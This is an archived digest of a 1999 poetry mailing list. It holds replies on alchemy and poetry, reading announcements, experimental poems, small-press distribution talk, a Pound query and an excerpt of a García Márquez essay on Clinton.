> *think this is what my student wants to learn about, as well as reading*
> *examples of poetry that is alchemically inflected. thanks again all!*

↑ Index

20. Steven Shoemaker

Re: alchemy bibliography

Mon 1 Feb 1999

Maria--Don't know if this will be useful, but if I recall correctly Victor Frankenstein begins his idiosyncractic "home-schooling" by delving into alchemy. When he later goes off to college, he at first resists the modern scientific approach because it seems so unappealing on philosophical & metaphysical grounds. I also seem to remember that the alcehemical books Mary Shelley has Victor read were all books that Percy really did read.

↑ Index

21. Pritchett,Patrick
FW: Steve McCaffery reading
Mon 1 Feb 1999

The next reader in the University of Denver Leo Block Series will be

Steve McCaffery

A rather zany, very dynamic thinker and performer, he will give a talk on
Friday afternoon
Feb. 5
4PM

and a reading
Friday evening
Feb. 5
7:30pm

both in the Renaissance Room South
in the Mary Reed Building
reception to follow

All events are free

Both events are open to the public. He will also be giving a short workshop
from 2 to 4 pm on Saturday. The enrollment is limited, but if you're interested, please call; I'm sure something can be arranged.

A bit of a bio:
Steve McCaffery has, for the past twenty years, been an important member of
the Canadian experimental writing community. He has published numerous books of poetry and criticism as well as hybrids of the two, often with dashes of other things thrown in. He also operates a bit as a literary historian and has edited collections such as "Rational Geomancy: The Collected Reports of the Toronto Research Group," a group he co-founded, andthe just-released "Imagining Language," a volume that he co-edited with Jed Rasula that traces concrete and visually-based poetries from the 16th onward. He has also written theoretical work--collected in a volume, "North
of Intention"--that examines the role and relevance of experimental language practices in contemporary society/popular culture.

In his own creative work, he has collaborated with artists in several disciplines including music, dance, painting, book arts and performance art, and was for many years a member of a sound-poetry ensemble, "The Four Horsemen." He's a person who constantly tests and extends borders--not

> *only*
> *linguistic and artistic ones, but of all those--social, physical,*
> *etc.--that he encounters. He's also very fun.*
>
> *Brief directions to the Mary Reed Building: I25 South to University Blvd.*
> *South.*
> *Univ. Blvd. to Warren (4th light) turn right--there's a very big, very*
> *institutional building staring at you (bell tower, etc.) that's it. If*
> *you're driving, you'll want to follow the circle around to a parking lot*
> *on*
> *the south (left) side of the building. Enter by the south door and go up*
> *one floor. There will also be posters to direct you.*
>
> *Hope you can join us! If you have any questions, please just call.*
> *Cole Swensen* [redacted]

↑ Index

22. BETSY ANDREWS

Re: Poetry on radio shows?

Mon 1 Feb 1999

WXPEN does a really exciting live weekly poetry show with an audience, hosted by Kerry Sherin of the Writer's House. Kristen Gallagher was the coordinator. She might still be. Kerry's email: [redacted]

> From: Herb Levy <[redacted]>
> To: [redacted]
> Subject: Poetry on radio shows?
> Date: Sunday, January 31, 1999 11:27 AM
>
> Hi all,
>
> I'd be interested in any leads people have to radio shows that present
> contemporary poetry. So if you do such a show, or know of one, please
> respond to me at the e-mail address below.
>
> Thanks a lot.
>
>
>
> Herb Levy
> [redacted]

↑ Index

23. Lawrence Upton.
RWC
Mon 1 Feb 1999

RWC announces the publication of RWC # 42 - two sequences by Scott Thurston

£2.00 + 50p p & p in UK. sterling payments only, to Lawrence Upton

Overseas - talk by email first is probably the best advice

The next RWC will be Ira Lightman - & soon

32 Downside Road, Sutton, Surrey SM2 5HP UK

↑ Index

24. Noam Scheindlin
Mills, Mlinko, Warsh Reading
Mon 1 Feb 1999

ON TUESDAY, FEBRUARY 2
Susan Mills, Ange Mlinko, and Lewis Warsh will be
reading at the
Rising Cafe reading series (I forgot date in my initial post)

Rising Cafe is at 186 Fifth Avenue, (Park Slope)
Brooklyn.
To get there from Manhattan, take the downtown N or R
(make sure its a
local train) and get off at the Union Street Station.
Walk one block
up to 5th Avenue.

Reading begins at 7:30.

_____
DO YOU YAHOO!?
Get your free @yahoo.com address at http://mail.yahoo.com

↑ Index

25. SAMUEL GARREN
Re: Paul Metcalf
Mon 1 Feb 1999

There is an excellent photograph and short commentary about Metcalf in Jonathon Williams' great book of snaps of writers and musicians pub. by Jargon Press. It is a book well worth seeing. On Sun, 31 Jan 1999, Herb Levy wrote:

From Sunday's NY Times

<http://www.nytimes.com/yr/mo/day/news/national/obit-metcalf.html>

Paul Metcalf, Who Wrote Experimental Tales, Dies at 81

By DINITIA SMITH

Paul Metcalf, who made his mark as an experimental writer of prose, poetry and plays, died on Jan. 21 near Pittsfield, Mass. He was 81 and lived in Chester, Mass.

His wife, Nancy, said Metcalf had a heart attack after buying apples at a farmers market not far from Arrowhead, the Berkshire home of Herman Melville, his great-grandfather.

"Like a medieval chronicler with the eye of a poet and the heart of a taleteller, he fits together radiant fragments into a wholly new kind of construct," the author Guy Davenport once wrote of Metcalf. His more than 20 books were often collages of first-person historical narratives, science writing, newspaper clips and his own words, woven together in a single fabric. "It was like a symphony, with sources like old diaries and botanical descriptions as the different instruments," said his daughter Adrienne.

Nonetheless, the words had a cumulative effect. In his 1976 book "Apalache," an epic about the settlement of the New World, he mixed native and settler chronicles with his own musings: "The fragrance drifts seaward/we smelled the land a hundred leagues, and farther when they burned the cedars/before we come in sight of it thirty leagues, we smell a sweet savour/we had now fair sunshine weather, and so pleasant a sweet as did much refresh us, and there came a smell off the shore like the smell of a garden."

Metcalf came from a distinguished New England family. His mother was Eleanor Thomas Metcalf, a granddaughter of Herman Melville and his literary executor. His father, Henry Knight Metcalf, who worked for an insurance company, was a descendant of Roger Williams,

the founder of Rhode Island.

Metcalf was born in East Milton, Mass., and was educated at private schools. He attended Harvard but disliked it and left after only three months. In 1942 he married Nancy Harman Blackford of Charleston, S.C., and during the next 20 years the couple spent long periods in the South. In addition to his wife, he is survived by a brother, David, of Topsham, Me.; two daughters, Anne Westmoreland of Schuyler, Va., and Adrienne, of Becket, Mass., and two granddaughters.

Early in his life, Metcalf thought little about his famous ancestor and his writings. His first book, "Will West," published in 1956, was a short novel about murder with a Cherokee as the protagonist.

But in the early 60s Metcalf returned to the Berkshires, and in his 1965 book, "Genoa," acknowledged the relationship to Melville. "Genoa" was one of his best-known works, a blend of references to Melville, other sources and his own language.

In the book, a man called Michael Mills muses about his own history, and his brother, Carl, who is a monster: "Herman would harangue his wife and two daughters (this was after the sons were gone) on matters that had no interest for them, and they would roll their eyes, and sigh, and wait, or there would be outbursts of temper, sarcasm."

Metcalf told his hometown newspaper, The Berkshire Eagle, that the book "was a way of getting the Melville monkey off my back."

William H. Gass, reviewing "Genoa" in The New York Times, said that the book "invites us to pass our minds down a new but ancient track, to become, ourselves, both fact and fiction, and to discover something true about the geography of time."

Metcalf was a tall man with a powerful physical presence. In recent years, with his hair nearly shoulder length and his pipe in his mouth, he was a colorful figure. His home in Becket became a center for artists and writers in the area. As a writer he remained a cult figure, although in 1987 he was honored by the American Academy and Institute of Arts and Letters. Beginning in

> *1996, the Coffee House Press of Minneapolis published a three-volume edition of his collected works.*
>
> *He also supported efforts to increase the collection of Melville's papers at Arrowhead and at the Berkshire Athenaeum in Pittsfield. In 1921, the manuscript of Melville's novel "Billy Budd" was discovered in a tin box in his family's home.*
>
> *Several months ago, as Metcalf was moving out of his Becket house, he found two more boxes of family papers and memorabilia that he had long forgotten. He donated the papers to the Melville Room of the Berkshire Athenaeum.*
>
> *Copyright 1999 The New York Times Company*
>
> *:*
>
> *Herb Levy*
> [redacted]

↑ Index

26. SAMUEL GARREN
Re: alchemy bibliography
Mon 1 Feb 1999

Something about alchemy and poetry that I find helpful is an essay, not a book, by Kenneth Rexroth, "The Spiritual Alchemy of Thomas Vaughan." It appeared in With Eye & Ear, a collection of essays by Rexroth, Herder and Herder, An Azimuth Book, 1970, pp.1-10, and is ,more conveniently included in the paperback collection, World Outside the Window: The Selected Essays of KRexroth, ed. B.Morrow, New Directions, 1987, pp. 243-51. The essay ncluded the fascinating inference that T. Vaughan died with his wife in an alchemically related mystical-sexual position trying to manipulate micorcosm-macrocosm, with fatal effects.On Fri, 29 Jan 1999, Maria Damon wrote:

> *thanks to all who have posted; any suggestions about books that introduce the basics of alchemy? or that riff on the metaphysical aspects of alchemy? handbooks in elementary magic or a bachelardian phenomenology? i think this is what my student wants to learn about, as well as reading examples of poetry that is alchemically inflected. thanks again all!*

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27. Poetry Project
this week at the Project
Mon 1 Feb 1999

This week at the Poetry Project:

Monday, February 1st

OPEN MIKE

sign up at 7:30; readings begin at 8 pm

Wednesday, Feb. 3rd

Leslie Scalapino & Zhang Er

at 8 pm

Friday, Feb. 5th

Pre-Valentine's Day Erotic Reading
with Anselm Berrigan, Laurie Stone, Thaddeus Rutkowski, Tsaurah Litsky & others

at 10:30 pm

AND

* SPECIAL EVENT *

WORD VIRUS: THE WILLIAM S. BURROUGHS READER

SATURDAY, FEB. 6th at 1 pm

A celebration of the publication of Word Virus: The William S. Burroughs Reader, edited by Ira Silverberg & James Grauerholz, published by Grove Atlantic Press. Readings by Bruce Andrews, Penny Arcade, Barbara Barg, Bruce Benderson, Victor Bockris, Steve Buscemi, Jim Carroll, Todd Colby, Ann Douglas, Maggie Estep, Ed Friedman, John Giorno, Brad Gooch, Tim Griffin, John S. Hall, Richard Hell, Lenny Kaye, Jackson Mac Low, Gillian McCain, Taylor Mead, Sharon Mesmer, Stewart Meyer, Bob Mould, Ron Padgett, Simon Pettet, Wanda Phipps, Bob Rosenthal, Barney Rosset, Richard Seaver, Ira Silverberg, Laurie Stone, Lynne Tillman, Edwin Torres, David Trinidad, Paul Violi, Lewis Warsh, Hal Willner, Emily XYZ, John Yau, Nick Zedd and others.

Tickets for all events (including Word Virus) are $7, $4 for students, and free for members.

Call [redacted] for more information

↑ Index

28. gjfarrah
No subject was specified.
Mon 1 Feb 1999

---

are you breath? i hope^ can not when you will i dance it
believe
hive of eye let containe head lift gently back ache not
hear it now
(ed)
tip as arial knee full sun in can not lope through rim
leap hand feet

cadance pretend mull belly dark swirl pinched lax spark gutter up

solvent silence injure arrant limb appendage prosthesis

i waite your walk semblance bread enough flint innerbellywater

shirtfull tuck run to warm impliments bound

hug ball rifled climb to long earth kite cad orange

i left he said got back when on route domed fulling
blue pulled
tight over eyeshirt

no bud manufacture thigh tremmor stage of forsaking
slash look
unverified

cannotcannotcannotcannotcannotcannotcannotcannotca (nenoble)

slit silt edge of cup light enfolded sliver of vessal
piece mouth
lakestar carbonboil cutical

↑ Index

29. joel lewis
f.y.i.
Mon 1 Feb 1999

*** Book excerpts sold with Diet Coke

NEW YORK (AP) - In an era of mega-bookstores and mega-marketing, many complain the written word is being peddled like a soft drink. The Coca-Cola Co. and several publishers have decided to do just that. Starting Monday, purchasers of 12 and 24-packs of Diet Coke and caffeine-free Diet Coke will find colorful booklets enclosed, affixed like a straw on a juice box. Each will contain excerpts from a new work by a popular writer - among them Elmore Leonard,

Barbara Taylor Bradford and Lisa Scottoline. With 40-45 million such packages planned, that means an enormous potential readership. Diet Coke drinkers also will have the chance to submit 500-word essays, fact or fiction, on "Living Life to the Fullest." The contest, which ends March 12, offers an all-expense paid trip for two to New York City. See http://www.infobeat.com/stories/cgi/story.cgi?id=2558282574-951

↑ Index

30. A. Jenn Sondheim

REQUEST

Tue 2 Feb 1999

=== === === === === ===

REQUEST

That all the files of the following individuals be saved through the interval 10/99 - 4/00 - on independent floppies or other mag- netic or magneto-optical media _not attached_ to any electrical device, including CPU or hard or other drives:

Jennifer	Tiffany	Timmy	Kon
Travis	Alan	Jenn	Big Al
Clara	Honey	Al	Jenny
Nikuko	Julu	Daishin	Nikuko

That these files be saved with the following information:

Sender	Address of Sender, Recipient, Email software if relevant
Recipient	Email list name
Date	Message ID if relevant
Subject	Ostensible Sender if relevant

That each such file be triplicated across independent media (separate floppies, hard drives, zip disks, and so forth), and, if possible, re- produced in non-electronic media such as paper, stone, vellum, or in- scribed metal plaques suitably protected against water damage.

That such triplicated files be compared, one against another, in order to ensure absolute accuracy, such as found in Torah Scrolls or the Ar- chives of Tibet.

That such triplicated files be stored in places widely separated, with- out electronic locking devices, and in widely-varying atmospheric con- ditions, such as humidity, pressure, and chemical content. Further, that such places be in permanent shadow, without any possibility of water or other chemical spillage; and further, that such places be permanently held within a centigrade temperature bandwidth of zero to twenty degrees.

That each such file be placed with proper identification upon a series of identical maps, such that an X marks its location. That these maps be duplicated in triplicate, and placed in other strongholds than those of the files themselves, with master/mistress maps held in triplicate elsewhere by the owner or proprietor of said files. That at least one of the three identical master/misstress maps be held at the domicile of said proprietor, well hidden, and in sanguine conditions.

That a secondary map be issued with the location of the primary map, such that the secondary map provide a system of indirect addressing, in rela- ton to the master/mistress maps and their varied locations, as well as the varied locations of the files in triplicate.

That the secondary map be issued in triplicate, pursuant to proper care and treatment of the metals or parchments, papers or vellums, granites or plastics, upon which it is inscribed. That similar proper care or treat- ment be applied to the master/mistress maps, which shall be held as well in proper shadow.

Finally: That after the Y2K Disturbance, henceforth known as the Distur- bance, all such files be reassembled, for the purposes of reconstruction, resurrection, and reconstitution of the following:

Jennifer	Tiffany	Timmy	Kon
Travis	Alan	Jenn	Big Al
Clara	Honey	Al	Jenny
Nikuko	Julu	Daishin	Nikuko

We wish to thank you, now and after the Disturbance, for such service rendered as you are competent and willing to fulfill, to the best of your capabilities.

↑ Index

31. Michael Magee

Re: Location Is Everything

Tue 2 Feb 1999

According to Tom Beckett:
>
> The Inside
> is the Outside
> doubled
>
> Where are
> our folds?
>

> Fuck me
> if I know
>

Tom, this reminded me of a very good and neglected short poem by Emerson, which serves as epigraph to his essay, "Circles." Here it is for the list:

Nature centres into balls,
And her proud ephemerals,
Fast to surface and outside,
Scan the profile and the sphere;
Knew they what that signified,
A new gensis were here.

The complexity of his sense of the inside outside relationship ("where are the folds?" as you say) is suggested by two contradictory statements of his, from "Circles" and "Experience" respectively:

1) "There is no outside, no inclosing wall, no circumference to us."

2) "The world is all outside: it has no inside."

Anyway, thought I'd share on the heals of your funny and provocative post.

-Mike.

↑ Index

32. Timothy Materer
Poets and Alchemy
Tue 2 Feb 1999

> *From: Maria Damon <[redacted]>*
> *Subject: Re: alchemy bibliography*
> *thanks to all who have posted; any suggestions about books that introduce the basics of alchemy? i think this is what my student wants to learn about, as well as >reading examples of poetry that is alchemically inflected. thanks again all!*

The above is exactly what my book is about: Modernist Alchemy, Poetry and the Occult (Cornell 1995), which concentrates on Yeats, Pound, Eliot (tho E. is not particularly alchemical), H.D., Robert Duncan, Plath, Hughes, and Merrill. The name of the Robert Kelly volume, by the way, is The Alchemist to Mercury (1981).

Timothy Materer, 228 Tate, English Department
University of Missouri, Columbia MO 65211
Fax: [redacted]
http://www.missouri.edu/~engtim

↑ Index

33. Ron Silliman
Pound Q: Dichtung equals...
Tue 2 Feb 1999

I know that Pound got "dichtung = condensare" out of Bunting's German-Italian Dictionary, but where exactly does Ez write about this idea?

Ron

Ron Silliman
[redacted]

DO NOT RESPOND to
[redacted]
It is for listservs only.

_____
Get Your Private, Free Email at http://www.hotmail.com

↑ Index

34. David Baratier
Distribution
Tue 2 Feb 1999

Mark Salerno & confidantes:

I wish I had the ability to condense the state of American magazine & book distribution down to the convenient statement "the market and the target consumer for writing is writers. If we do not buy the books that our colleagues write, and the magazines that they appear in, no one else will." People _are_ buying the books, on the rare instance they can find them on a shelf in a store.

Journal distribution as it is known today will die off. Few literary journals use literary specific distribution. In fact many are riding on large magazine titles (for instance, the Baffler always appears with the New Yorker) or comic book distibutors because Bernhard & DeBoer aren't taking new journals or are paying way too slow. Quite often these alternates pay faster & don't always rip the covers off the issues. Many of us were burned by Fine Press in Texas, we don't take to having our money witheld kindly.

Conduits for magazine and book distribution are experiencing hard times, thanks to chain stores shifting to a supermarket mentality where space has to be bought for the title to be carried. And the lack of middle ground distibution for books. If I publish a run of 1000 I can have Consortium take half the press run or SPD take 25-50 titles of a 2-300 copy press run. I rarely run 500 to 750

copies because there is no adequate distributor. And, unfortunately, this range is ideal for breaking even because the % paid back to me is higher. While I have published books in the 1000's I am just starting to hit the 500 press run size for the aforementioned reason. This doesn't even touch having a choice of more than one distributor for our matter.

While Barnes & Noble has cleared their act up as a result of a collective in WI, and through some bullying on our half has given in to our collective as well, Border's are the big problem now. Pay at 120 or more days. Multiple phone calls. No specific contact. Different name each time shell game.

I have no concern about the recent acquisition of the third distributor. Since 80% of their distribution is to independent bookstores, they are, in effect, a useless shell if the indy's decide not to use them.

Be well

David Baratier, Editor

↑ Index

35. Stephen Ellis
Re: alchemy bibliography
Tue 2 Feb 1999

Alchemically inflected poetry: Steve Jonas, esp. series called Orgasms/Dominations (Talisman House Press, 1994)

Idries Shah's book SUFISM relates various Sufic practices of codification, wch have significance for someone's with those interests you mention.

There's also a late 70s recapitulative number of Io (ed. Richard Grossinger) that repeats or extends propositions & info from earlier Alchemy issue of the magazine.

To establish a context for alchemy in this century, there're magi Gurdjieff, Blavatsky & Crowley; also, of a slightly different order, there's Wilhelm Reich, still - easily, I think - identifiably an alchemist.

The whole School of Boston in the mid- to late fifties was an alchemical school, comprised variously of Jonas, Lansing, Dunn, Wieners, Blaster & Spicer for a time, among others (R. Kelly & Mister Harvey Brown were known to have stopped by & dropped in a while. Read their works; go from there.

- Stephen Ellis

>From [redacted] Mon Feb 01 06:33:04 1999
>Received: from [128.205.7.58] by hotmail.com (1.1) with SMTP id MHotMailB87F061F137F4D101707D80CD073AB0CE0; Mon Feb 01 06:33:04

1999
>Received: (qmail 29619 invoked from network); 1 Feb 1999 14:32:56 -0000
>Received: from listserv.acsu.buffalo.edu (128.205.7.35)
> by defer.acsu.buffalo.edu with SMTP; 1 Feb 1999 14:32:56 -0000
>Received: from LISTSERV.ACSU.BUFFALO.EDU by
LISTSERV.ACSU.BUFFALO.EDU
> (LISTSERV-TCP/IP release 1.8d) with spool id 939227 for
> [redacted]; Mon, 1 Feb 1999 09:32:52
-0500
>Approved-By: [redacted]
>Received: (qmail 11525 invoked from network); 29 Jan 1999 17:50:03
-0000
>Received: from mhub1.tc.umn.edu (@160.94.5.41) by
listserv.acsu.buffalo.edu
> with SMTP; 29 Jan 1999 17:50:03 -0000
>Received: from [160.94.26.157] by mhub1.tc.umn.edu with ESMTP; Fri, 29
Jan 1999
> 11:50:01 -0600
>References: <[redacted]>
>Mime-Version: 1.0
>Content-Type: text/plain; charset="us-ascii"
>Message-ID: <l03102802b2d7a5543d03@[160.94.62.147]>
>Date: Fri, 29 Jan 1999 11:52:18 -0600
>Reply-To: UB Poetics discussion group
<[redacted]>
>Sender: UB Poetics discussion group
<[redacted]>
>From: Maria Damon <[redacted]>
>Subject: Re: alchemy bibliography
>To: [redacted]
>In-Reply-To: <l03102801b2d783c82bd1@[160.94.25.49]>
>
>thanks to all who have posted; any suggestions about books that
introduce
>the basics of alchemy? or that riff on the metaphysical aspects of
>alchemy? handbooks in elementary magic or a bachelardian
phenomenology? i
>think this is what my student wants to learn about, as well as reading
>examples of poetry that is alchemically inflected. thanks again all!

Get Your Private, Free Email at http://www.hotmail.com

↑ Index

36. James Sherry
Roof Books: New Titles
Tue 2 Feb 1999

The response the the Roof Books offer was gratifying. Thank you all for your orders. We will be sending them out to you next week via the various methods you specified. Thanks again.

For those who did not see the offer and may wish to take advantage of it:
Roof Books is offering two new titles:
Kit Robinson's <Democracy Boulevard> cover price $11.95 &
Bob Perelman's <The Future of Memory> cover price $14.95
for a combined price of...
$14 including postage.
To receive these new books, please reply to this mail: [redacted]
We will send you the books if you promise to reply with a check.

Thanks again.
James Sherry

↑ Index

37. Alaric Sumner
robert lax
Tue 2 Feb 1999

I am urgently trying to find either the complete (or an historically-broad selection from the) works of Robert Lax. Any suggestions? (Ideally with a UK distributor!) Backchannel - mailto:[redacted]

↑ Index

38. Poetics List
queries
Tue 2 Feb 1999

Just a reminder that query responses should generally
go to the person querying, and not the list as a whole.
Exceptions would be longer, detailed messages that might
be of interest to all. I've forwarded most of those that
came in re Maria's alchemy query; the few that were one
line or so I sent to her directly.

cf. the new Welcome Message for further details

thanks, Chris

↑ Index

39. charssmith
Re: Pound Q: Dichtung equals...
Tue 2 Feb 1999

ABC's, Ch. 4

↑ Index

40. Karen Kelley
Re: query
Tue 2 Feb 1999

Charles Alexander wrote:

it has one verse where the protagonist "throws
> the dice" while soldiers are piercing the Lord in the side, but that too
> was "before love came to town," a happening that then transforms everything
> -- so all of a sudden there's this marvelous transformation of a fairly
> down & dirty song into a somewhat sacred song. I know this happens in some
> Renaissance poetry and other poetry of various periods,

Can we get a list of some of these poems, Charles? Anyone else?

Thanks!

↑ Index

41. Edward Foster
American Symbolists
Tue 2 Feb 1999

I am currently editing an anthology of American Symbolists and Aesthetes and am currently identifying totally obscure but rather wonderful American fin-de-siecle disciples of Baudelaire, Wilde, Verlaine, etc.). I would be interested in hearing from anyone who shares an interest in this bizarre and abnormal subject. The best email address would be [redacted].

↑ Index

42. Susan M. Schultz
Re: Pound Q: Dichtung equals...
Tue 2 Feb 1999

Pound writes about Dichtung and condensare in _ABC of Reading_, page 92 (New Directions).

Susan Schultz

↑ Index

43. Karen McKevitt
Re: Distribution
Tue 2 Feb 1999

So does that mean that everyone here is buying the magazines and books that fellow listees announce? We (or at least I) announce them here because we (I) know that state of distribution. Karen McKevitt

>Date: Tue, 2 Feb 1999 18:38:52 +0000
>Reply-To: [redacted]
>From: David Baratier <[redacted]>
>Subject: Distribution
>To: [redacted]
>
>Mark Salerno & confidantes:
>
>I wish I had the ability to condense the state of American magazine &
>book distribution down to the convenient statement "the market and the
>target consumer for writing is writers. If we do not buy the books that
>our colleagues write, and the magazines that they appear in, no one
else
>will." People _are_ buying the books, on the rare instance they can
find
>them on a shelf in a store.
>
>Journal distribution as it is known today will die off. Few literary
>journals use literary specific distribution. In fact many are riding on
>large magazine titles (for instance, the Baffler always appears with
the
>New Yorker) or comic book distibutors because Bernhard & DeBoer aren't
>taking new journals or are paying way too slow. Quite often these
>alternates pay faster & don't always rip the covers off the issues.
Many
>of us were burned by Fine Press in Texas, we don't take to having our

>money witheld kindly.
>
>Conduits for magazine and book distribution are experiencing hard
times,
>thanks to chain stores shifting to a supermarket mentality where space
>has to be bought for the title to be carried. And the lack of middle
>ground distibution for books. If I publish a run of 1000 I can have
>Consortium take half the press run or SPD take 25-50 titles of a 2-300
>copy press run. I rarely run 500 to 750 copies because there is no
>adequate distributor. And, unfortunately, this range is ideal for
>breaking even because the % paid back to me is higher. While I have
>published books in the 1000's I am just starting to hit the 500 press
>run size for the aforementioned reason. This doesn't even touch having
a
>choice of more than one distributor for our matter.
>
>While Barnes & Noble has cleared their act up as a result of a
>collective in WI, and through some bullying on our half has given in to
>our collective as well, Border's are the big problem now. Pay at 120 or
>more days. Multiple phone calls. No specific contact. Different name
>each time shell game.
>
>I have no concern about the recent acquisition of the third
distributor.
>Since 80% of their distribution is to independent bookstores, they
are,
>in effect, a useless shell if the indy's decide not to use them.
>
>Be well
>
>David Baratier, Editor
>

Get Your Private, Free Email at http://www.hotmail.com

↑ Index

44. **Jordan Davis**

Re: definitions

Tue 2 Feb 1999

---

abcdefghijklmnopqrstuvwxyz

cdefgh lm lm nop
stuvw defgh

mnop mnop mnop nop
o bcdef
a fghij mnop
qrs vwxyz cdef mnop
o bcdef

klm vwxyz klmnopqrst
stuv stuv stuvwy
efgh a defgh
opq a nopqr

o qrs i hijk a jkl
o vwx o def vwx

i mnop a vwxyz

↑ Index

45. A. Jenn Sondheim

jennifer

Wed 3 Feb 1999

====== ===== ==== === ==

jennifer

clone me, you'll never have to see my swollen open body
clone me, perfect clean room, surgeon hermeneutic
you won't have to fuck me, won't have to touch my holes
you won't have to run the bypass of the tongue or the finger
you won't have to run the techne of the rope or the clothespin

clone me, there won't be any detours
the sounds will be repetitive, murmured hydraulics, valves
no stains around the bed of brilliant birth
no scents hovered in heated murmured air
you already know this
'you already know this'

cloning's useful for my survival
i am my genes, my genes, my texts and images
my texts and images, my bits and bytes

where i am, dream of my 'swollen open body'
there's nothing to say, 'you already know this'

you've already seen the original
you've already dreamed it
there's no difference!
'there's no difference!'

↑ Index

46. joel lewis
f.y.i.
Wed 3 Feb 1999

*** Canada groundhog dies before event

WIARTON, Ontario (AP) - The crowd at Canada's top Groundhog Day festival got worse news Tuesday than a bad weather forecast: They learned that star groundhog Wiarton Willie had died. Some children among the 200 people burst into tears. Willie died of natural causes Sunday night, but his death was not disclosed until Tuesday's ceremony. "We didn't really know what to do," said Sam Brouwer, Willie's caretaker for the past 10 years. "We were absolutely devastated." Willie was lying in a pine coffin for a public viewing Tuesday morning. His paws were crossed, pennies were placed over his eyelids and he was clutching a carrot. See http://www.infobeat.com/stories/cgi/story.cgi?id=2558300299-a79

↑ Index

47. Katie Degentesh
NINE BE MINE
Wed 3 Feb 1999

VAINGLORIOUS & 9 x 9 INDUSTRIES

present

CUPIDITY

radix omnium malorum est cupiditas

****

featuring

5 sweettalking poets on loan from 9 x 9 industries & 1 heartstrung quartet (aka the ariel quartet) & numerous nostalgic projections & various soothing tunes

reading

Katie Degentesh
Abie Hadjitarkhani
The Mysterious Mr. Clam
Eugene Ostashevsky
Tarin Towers

plucking

Michael Rodinv Violin #1
Charles Montague Violin #2
Elana Tabachnikoff Viola
Joan Hadeishi Cello

spinning

dj gentle ben

Cafe Royale, San Francisco
(corner of Post & Leavenworth)
Thursday, Feb. 11th, 1999
8 - midnight

Donations received with a kiss!

##################

VAINGLORIOUS is a devilish duo of perpetual producers known for appearing out of nowhere and vanishing just as quickly...

9x9 INDUSTRIES is a San Francisco writers' cartel whose
group readings are noted for "combining Dionysian performative skills
with Apollonian literary sophistication."

"desire is the root of all evil" is in some mysterious language apparently called latin

↑ Index

48. Katie Degentesh
SF POETRY THIS WEEKEND
Wed 3 Feb 1999

1999 is
OUT OF ORDER
Saturday February 6th

it's a poetry reading/performance brought to you by DL from 10 to 11:30
poetry line-up:
Natalie Y.
Beth Lifson

Symplx
Eugene Ostashevsky
Adam DeGraff

and two rooms of DJ's takin' you into the night brought to you by Bug'n Out & The Terrorist Society
jungle room: Push, Game Kat, and Arc Angel Gabe Real
experimental lounge: Markus Miller and Professor Smith

Art by SKRIBLZ

Saturday February 6th
20 Annie Street (New Montgomery/3rd)

Come early for the poetry and get in for $3, otherwise it's $7.

for party info call [redacted]
poetry info [redacted]

AND&AND&AND&AND&AND&AND&AND&AND&AND&AND&AND&AND&AND&AND&AND&AND&AND&AND&AND&AND&AND

POETRY FOR THE SOUL
FEBRUARY 7TH, 6 PM
992 VALENCIA (at 21st St., Artist's Television Access)

a benefit for TRIBES MAGAZINE
$5 suggested donation, no one turned away for lack of $5

****

A Nuyorican Poet Meets
The West Siiiide!
21 and over
Drinks available

****

MC: Norman Z
POETS: DON FLORES, CHUY "CHEWBACCA", DANIEL SANCHEZ, ARIEL VARGAS, TORY S.
AND MORE

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49. benjamin bratton
Cultural Turn Electronic Conferences
Wed 3 Feb 1999

***CULTURAL TURN 2: POWER AND MEANING
ELECTRONIC CONFERENCES
February 2-8, 1999

WWW.CULTURALTURN.COM

-Produced by The Cultural Turn, SPEED and University of California, Santa Barbara.

-The Cultural Turn conferences are bi-annual meetings seeking to explore and expand the analytic zone shared and contested between the social sciences and the humanities.

-The Electronic Conferences will extend the reach of interdisciplinary cultural analysis by incorporating the perspectives of intellectual communities spread across the globe. Please join us.

***FEATURED PARTICIPANTS:

-Christine Boyer (Architecture, Princeton)
-Katherine Hayles (English, U.C.L.A.)
-Bruce Lincoln (History of Religions, Chicago)
-Orlando Patterson (Sociology, Harvard)
-James Scott (Political Science, Yale)
-Michael Taussig (Anthropology, Columbia)

***OTHER PARTICIPANTS INCLUDE:

-Jeffrey Alexander, Charles Bazerman, David Brain, Ronald Breiger, Craig Calhoun, Thomas Carlson, Swati Chattopadhyay, Jon Cruz, Avery Gordon, Giles Gunn, Dick Hebdige, Richard Hecht, Wolf Kittler, Chandra Mukerji, Charles Perrow, Richard A. Peterson, Maria Pia Lara, Michael Schudson, Margaret Somers, John Sutton, Ann Swidler, Diane Vaughan, Robin Wagner-Pacifici and Mayer Zald

***JOIN THE ELECTRONIC CONFERENCE:

-Those who can't make it to Santa Barbara
for the second Cultural Turn conference are
invited to participate in the electronic version
of the conference at www.culturalturn.com

-Authors' texts are now available at the web site.
Linked to each is an electronic web forum where
conferencees from around the world will engage
each other and the problematics of culture signaled
by each text.

-There is no charge for joining the Electronic
Conferences, and no special software or internet
expertise is required.

-Many new texts are available exclusively to
Conferencees. Video and audio archives of main
talks, book seminars, discussion groups and
e-panels will be made available to conferencees.

-The full proceedings, including the electronic
conferences, will be published by SPEED,
the award-winning electronic journal of
media technology and social culture.

****

↑ Index

50. david bromige
a footnote to poets & alchemy
Wed 3 Feb 1999

August Strindberg, who translated everyday dross into dramatic gold on many occasions, suffered a lapse into literal-mindedness for some months during his Paris residence; he burned his hands badly trying to turn lead into gold.

↑ Index

51. Anastasios Kozaitis
Coincidence?
Wed 3 Feb 1999

For those interested in Politics and the English Language --

PRESIDENT CLINTON OF THE USA

Can be rearranged (with no letters left over, and using each letter only once) into:

TO COPULATE HE FINDS INTERNS

↑ Index

52. Anastasios Kozaitis
Clinton according to Gabriel Garcia Marquez
Wed 3 Feb 1999

Marquez's observations are very insightful and interesting. I have to pass this along. -AK

The mysteries of Bill Clinton

Nobel Prize-winning author Gabriel García Márquez
compares the president's fate to that of Hester Prynne.
- -

BY GABRIEL GARCíA MÁRQUEZ | The first thing you notice about William Jefferson Clinton is how tall he is. The second is the seductive power he has of making you feel, from the first moment of meeting, that he is someone you know well. The third is his sharp intelligence, which allows you to speak to him about anything at all, even the prickliest topics, provided you know when to bring it up.

Even so, someone not enamored of him forewarned me: "The dangerous thing about these gifts is that Clinton uses them to make you feel that nothing could interest him more than what you are saying to him."

I met him first at a dinner given by William Styron in his summer house on Martha's Vineyard in August 1995. During his first campaign, Clinton had mentioned that his favorite book was "One Hundred Years of Solitude." I said at the time -- and I was quoted in print -- that I thought he had said it simply to pull in the Latin vote. He had not forgotten -- after greeting me on Martha's Vineyard, he at once assured me that what he said had been quite sincere.

